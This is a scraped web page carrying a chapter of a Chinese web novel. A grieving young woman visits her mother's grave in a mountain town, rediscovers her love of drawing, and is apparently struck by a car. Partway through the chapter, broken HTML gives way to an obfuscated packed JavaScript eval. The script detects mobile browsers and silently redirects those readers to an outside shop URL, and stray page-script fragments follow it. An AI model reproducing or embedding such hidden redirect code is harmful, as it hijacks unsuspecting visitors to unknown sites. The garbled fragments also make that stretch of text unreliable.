文趣网 > 都市小说 > 你老婆不要你了喔 > 3. 第3章
    在被生物钟叫醒前,简念就醒来了。

    起床,去了洗手间洗漱。

    小小的镜中倒映着她的模样。染着一点病态苍白的脸,水珠顺着尖尖细细的下巴滴落,平静的琥珀色眼珠,微微卷曲垂落的长发。

    像一个无声的,任人摆弄的洋娃娃。

    盯着镜子中的倒影看了一会,简念挪开了眼。

    冰箱里放着早午饭,简念学着昨天他教的样子,拧开燃气,热了早饭。

    吃完后,端着盘子到水池洗碗。好像挤多了洗洁精,泡泡越洗越多。手里搓洗的勺子打滑掉进了水池里,简念伸手去捞,刚洗好的盘子又不小心碰掉了进去。

    “……”

    折腾了一会,才把干净的碗盘放进架子里。

    简念松了口气,离开厨房。

    书桌上放着单元测验的成绩单,分数勉强及格。摊开的课本密密麻麻做满了标记,演草纸上的过程杂乱无章,推不下去。

    换上他昨晚提前准备好的衣服,关掉空调和灯,简念走出了家门。

    她低着头,向他发了除了千篇一律“查岗你在做什么”的消息外,唯一一条别的消息。

    ——【我们分手吧。】

    淮市的夏天格外热,只是早上就已经开始升温了,小区楼下一些老人坐在树荫下乘凉,下棋。

    简念低头查找着导航,走过那条没有路灯的路,在公交站牌等了一会,上了车。

    公交没有直达,转了次车才到了高铁车站。

    离发车还有半小时,简念学着前面人的样子,排队,安检,候车,一步步找到自己的座位,启程。

    窗外的景色逐渐远离淮市的高楼大厦,进入山林的隧道。

    ……这算是离家出走吗?

    简念不是很懂,但这是她第一次做出这样的事。走出家门,去另一个城市。

    车在雾城站经停。

    一个坐落在山区中央、落后的小城市。周围的山高耸嶙峋,山道曲折。

    雾城古镇。街道的青棱石瓦下,一排商贩守在明艳大红的小吃车摊后,喇叭响着纷乱的叫卖声。

    石桥下,河面波光粼粼。打闹的小孩从桥上跑过。

    简念还没走到目的地,中途就下起了雨。

    天空阴云密布,刚开始还是细细的雨丝飘着,不过短短几个呼吸,骤然转成了大雨落下。

    简念只得停下,在路边檐下躲雨。

    不久前还闷热的气温骤降,身体弱,淋了雨有些发冷,简念抵着唇轻咳,脸色更苍白了一点。

    正看着淅淅沥沥的雨幕,忽的一道老人的声音。

    “哎,雨都潲进来了,你站外面干啥。”

    简念偏头,是个古旧的糖画铺子,屋里架子上放着做好的糖画,十二生肖惟妙惟肖,还有些糖人。在雨水的潮湿气味中,透出一点糖的香甜。

    说话的是个精神矍铄的老头,眉毛一挑,张嘴就是嫌弃:“你这妮下雨了咋不会往屋里跑。”

    边嫌弃边把她拽到了铺子里,给她找了毛巾,又从一盆热水热的饮料里,拿了瓶小狗娃哈哈塞给她。

    简念捧着热乎乎的小狗瓶,跟小狗对视,有点茫然,慢吞吞地扎了吸管,试探地小口吸了一口。

    包装上写的是酸奶,尝起来又不太像,很稀,味道偏酸甜。

    老头正在柜台后打着算盘,抬头瞅一眼,“咋,没喝过啊,跟猫似的。”

    “嗯。”简念轻轻嗯了一声,“我妈妈不让我吃这些东西。”

    她抬起沉静眸子,“这个多少钱,我转给你。”

    老头:“……”

    老头“啧”一声,摆摆手,“不值钱,送你的,喝吧。”

    或许是很久没人聊天了,老头坐在柜台后,跟她搭起话来,闲聊。

    说自己也有个孙女,可聪明了,比她聪明,下雨了知道回家,还会帮他算账。现在在大城市里念书。

    还有个孙子就不行了,笨的要命,比她还笨,加减法都算不明白。

    简念慢吞吞地喝小狗酸奶,安静听着。

    有客人进来了,想要动物糖画,老头开始熬糖画糖画,手法娴熟,提着糖勺寥寥几笔把小动物的神态描绘得栩栩如生。客人举着憨态可掬的小狐狸糖画满意离开了。

    老头一抬头,见简念盯着瞧,“糖熬多了硬了浪费了,给你画个什么?小猪小老虎?”

    简念盯着糖勺:“我可以试试吗?”

    老头没好气笑了下,往旁边让开,摆摆手:“玩去吧。”

    简念握着糖勺,舀了一勺糖浆,澄黄透亮的糖浆如细丝一样轻软,丝丝缕缕落在大理石上。

    老头本来看小孩闹着玩似的目光,逐渐变得惊讶起来,“抬高点就更细,手别抖,快一点。”

    澄黄透亮的糖浆细细洒下来,慢慢勾勒出古镇石桥柳岸一角的风景,河边的狸花猫叼着锦鲤,仰首挺胸走过。

    石桥上,行人如常走过,柳枝丝丝缕缕。

    粗细没把控,透着生涩,糖浆丝细得完全没法粘在棍上拿起来。

    但以老头画了几十年糖画的眼光来看,明显能是有着不俗的画工的,很漂亮的一幅画。能单纯凭着记忆去复刻出石桥的原景,还是用难以把控的糖浆画的,功底挺深。

    “还行吧。”

    老头哼了一声:“你学画画的?”

    简念摇了摇头,轻声:“只是以前自己琢磨着画过,几年没画了。”

    “自己琢磨的?那咋不继续琢磨了?你这不是纯浪费……”老头忽然意识到了什么,闭上了嘴。

    过了会,又“啧”了声,一个人吹起胡子。

    简念放下糖勺,又吸了口小狗酸奶。

    其实也没什么特殊的原因。

    几年前,妈妈觉得她玩物丧志,撕掉了她的画。后来就再也没有碰过画笔了。

    天色渐暗,雨却一直不停。

    老头借了她一把伞,从皱巴的塑料袋里掏出来的儿童折叠伞,看上去有些年头了。

    简念撑开小红伞,抖了抖陈旧的气味,离开糖画铺子时,老头又往她包里塞了瓶热乎的小狗娃哈哈。

    嫌弃摆手:“赶紧走吧,下回下雨了别忘了往家跑。”

    街上雨滴淅淅沥沥,青石板上水珠四处流淌,凝聚成一个又一个的小水洼。

    一家装饰简单温馨的花店,老板娘正在打理着花,见了站在门口的简念,热情招呼:“哎,买什么花?要送谁的?”

    简念抿了抿唇:“我不知道那种花叫什么名字……可以先看看吗?”

    老板娘忍俊不禁笑了一声,“进来看呗,我这花可全了我跟你说。你要找什么花,这片是玫瑰,这是百合……”

    简念在玫瑰区,找到了那种花。

    ——弗洛伊德玫瑰。

    玫红色的玫瑰,浓郁纯正,花苞被裹在小小的纱罩里,像蒙上了一层雾。

    老板娘是个富有情调的人,说了许多花语,这种花代表着“梦境和浪漫”,最适合送给喜欢的人表达爱意了。

    简念买了一枝玫瑰,又撑伞走进了雨幕中。

    临近傍晚,又下着雨,墓园没什么人,一片冷清。门岗大爷给她登记后,放她走了进去。

    水珠溅在小腿上,有些凉意。走过一排排的墓碑,简念站定在一座墓碑前。

    雨下得更大了,雨水模糊了墓碑上的照片和字,只能看出一个“许”字。

    她的妈妈,许女士。

    雾城是许女士出生的地方,她在这里生活了许多年,不过在考上大学后就离开了这里,留在了淮市定居,再也没回来过。

    山区,贫困落后。

    爸爸和她说过,许女士从小就是个聪明的孩子,家里没钱让她上学,她偷偷扒在窗外听,就这么跟着学会了小学的课。

    大人都喜欢好学的孩子,从城里来的,扶贫下乡的老师都愿意帮衬着她,也不收学费,让她旁听。

    高三的时候,许女士家里要供弟弟盖房子,将她关了起来,逼她辍学嫁给村口的老汉。

    他带着许女士跑了出去。

    去了别的镇躲起来。

    他用自己所有的生活费替许女士交了学费,半工半读给她赚生活费,自己吃干玉米和红薯叶子吃了一整年。直到现在,吃到这两样东西就会吐。

    两人都考上了淮市的大学。

    赶上时代,大学创业,他挣了第一桶金,第一件事是给许女士买了一套漂亮的衣服和最新款手机。

    许女士生她的那天,他守在产房外硬生生站了几个小时。

    许女士大出血,差点没抢救过来,他的眼睛都哭红了,紧紧攥着她的手,没日没夜地守在床前照顾她。

    他们给她起的小名叫小月亮。

    就像他向许女士求婚的那天晚上,月亮很圆满,也很亮。

    她五岁的时候,他领回家一个小她两个月的弟弟。

    许女士和他大吵了一架。

    他说从来没见过许女士那样歇斯底里的样子,像个毫无形象的疯子。

    他说,他已经答应了她不会离婚,妻子的位置永远是她的,给她别人可能努力一辈子都得不到的优渥生活,将来也会让她的孩子去继承家业,她到底还在不满足什么?

    许女士没能回答得上来。

    之后,许女士开始培养她。以一个继承人的标准,以她所规划好的人生生活。

    她需要优秀。即使她和她不一样,并不聪明,也没有天分。

    除此之外,她什么都不需要。

    于是她的十几年人生里,大部分时间都在学习。

    学校里的老师讲课听不明白,那就换一个老师。一个不够,就多请几个老师。一遍不会,那就多讲几遍。

    她每天活动的地方就是家、接送她的车,和学校,没有去过别的地方。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675704|207454||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    直到现在,除了学习,她什么都不会。

    她按照许女士的规划,考了淮大,学习金融。等毕业后进公司,学习接管事务。

    只是谁知道,规划中忽然出现了意外。

    还没等她毕业,许女士就已经因病去世了。

    爸爸的公司也没多久破产,携款潜逃,不知去向。

    去世前,许女士拒绝任何人去看望她,只留下一句遗嘱,要将她安葬在这里。

    简念并不明白,她拼了命的离开这里,为什么最后又要回来。很多事她都不懂。

    她只是平静地看着墓碑。

    雨水冲刷着墓碑,碑前的弗洛伊德玫瑰花瓣被慢慢打落,玫红色的花瓣顺着飘到了脚边。

    这是他向许女士求婚那晚的玫瑰。她看到过她盯着照片里的玫瑰出神。

    玫瑰旁边,她的成绩单和试卷也被雨水浸透了。

    鲜红的数字痕迹越浸越深,变得粘稠潮湿,附着在每一个无法入睡的深夜空气里,钻进胸腔,黏住胸肺无法呼吸。

    “……”

    简念呼吸不上来,下意识地拿出手机,点开他的聊天框,在看到早上的那条消息时,又猛然停了下来。

    【我们分手吧。】

    他没有回复。

    她忘了,他们已经分手了。

    她现在明白了,这样打扰别人是不对的。

    简念攥着手机慢慢蹲了下去,小小的红伞底下,水面倒映出一团小小的,蜷缩的影子。

    过了很久,她才出声,几乎微不可闻。

    她说,“妈妈,我学不会。”

    ……

    雾城如其名,常年多雾,河面上萦绕着朦胧的白雾。雨水打不透,穿过雾气,只留下了阵阵涟漪。

    公交站台玻璃檐隔绝了雨水,简念坐在长椅上发呆。

    这场雨下了太久。道路上堵塞了积水,下不去,过路的行人都卷起了裤脚。

    手里的酸奶瓶还残存着一点温度,简念垂眼看着,和幼稚的卡通小狗对视。

    糖画铺子里的那位老人赶她走的时候,还说了一句话。

    “想做什么就去做,实在不行了,下雨了来我这躲。”

    ……可是她想做什么呢?

    她不知道。

    简念垂眼看着自己的指尖,忽然感觉到了一点灼痛。是糖浆烫到手指的感觉。

    灼痛的感觉蔓延开,指尖连通心脏,咚咚地跳。

    她想起来,几年前她接受一家出版社的邀请,替一本小说绘制书封和插画的那段时间。

    夜深人静,学习完的深夜,偷偷点着一盏夜灯去画。就是这种感觉。

    她那时候有一个微博,偶尔就会在微博上发一点自己在空余时间画的画。

    简念慢慢拿出了手机,点开微博,迟疑地登上了许久未登的账号。

    验证,画面一晃,切了进去。

    太快了,她都没来得及反应,就已经看到了记忆里的界面和满屏的红点消息。

    【一眼就看出来是老师的画风了!超绝场景氛围,周边实在太好……】

    【感谢神仙老师(合掌),完全就是我想象中的男女主呜呜……】

    【咪的天,捕捉一只画风超绝的太太!】

    【最近很忙吗?还是出了什么事……】

    简念慢慢翻看着这些时间久远的私信和评论,直到翻到了底,才恍惚般停下。

    她点开了自己早就遗忘在时间里的关注栏,淮市中央美院。

    ……她想做什么呢?

    简念抬头看着天空。雨水顺着玻璃檐落下来,雨幕昏沉,淅淅沥沥的雨水之间,远处隐隐约约的模糊车灯好似月亮。

    不受控制的,“咚咚”的心跳声好像已经给了她答案。

    意识到这点。

    心脏越跳越快。

    简念低下头,没有迟疑,点开了微信,找到了导员的微信。

    【我明天去找您商量退……】正敲着字,一通电话忽然弹了出来。

    简念还没看清,尖锐的车鸣笛声先毫无防备刺入耳膜。

    她下意识抬头,周围人群轰然响起了慌乱尖叫声,混合着车轮猛然的摩擦声,一连串塞入耳朵,纷乱嘈杂。

    刺眼白光从雨幕晃过。

    短暂的几秒后,耳畔只剩下嗡鸣。

    ……

    夜幕深沉,雨水淅淅沥沥。

    红伞倒在水洼里,腕间红绳和银月亮浸没在脏污混浊的泥水中。

    模糊的倒影被连串冰冷的雨珠打碎,手机屏幕亮着朦胧的光,隐隐约约好像有人声传出,但简念已经听不清了。

    “简……”

    一切都是模糊的,眼皮越来越沉。

    直至下意识攥紧的红绳慢慢松开,潮热的、温暖的温度从指尖流逝,彻底消散。

    ——普通而平凡的长夏。

    月亮坠落了。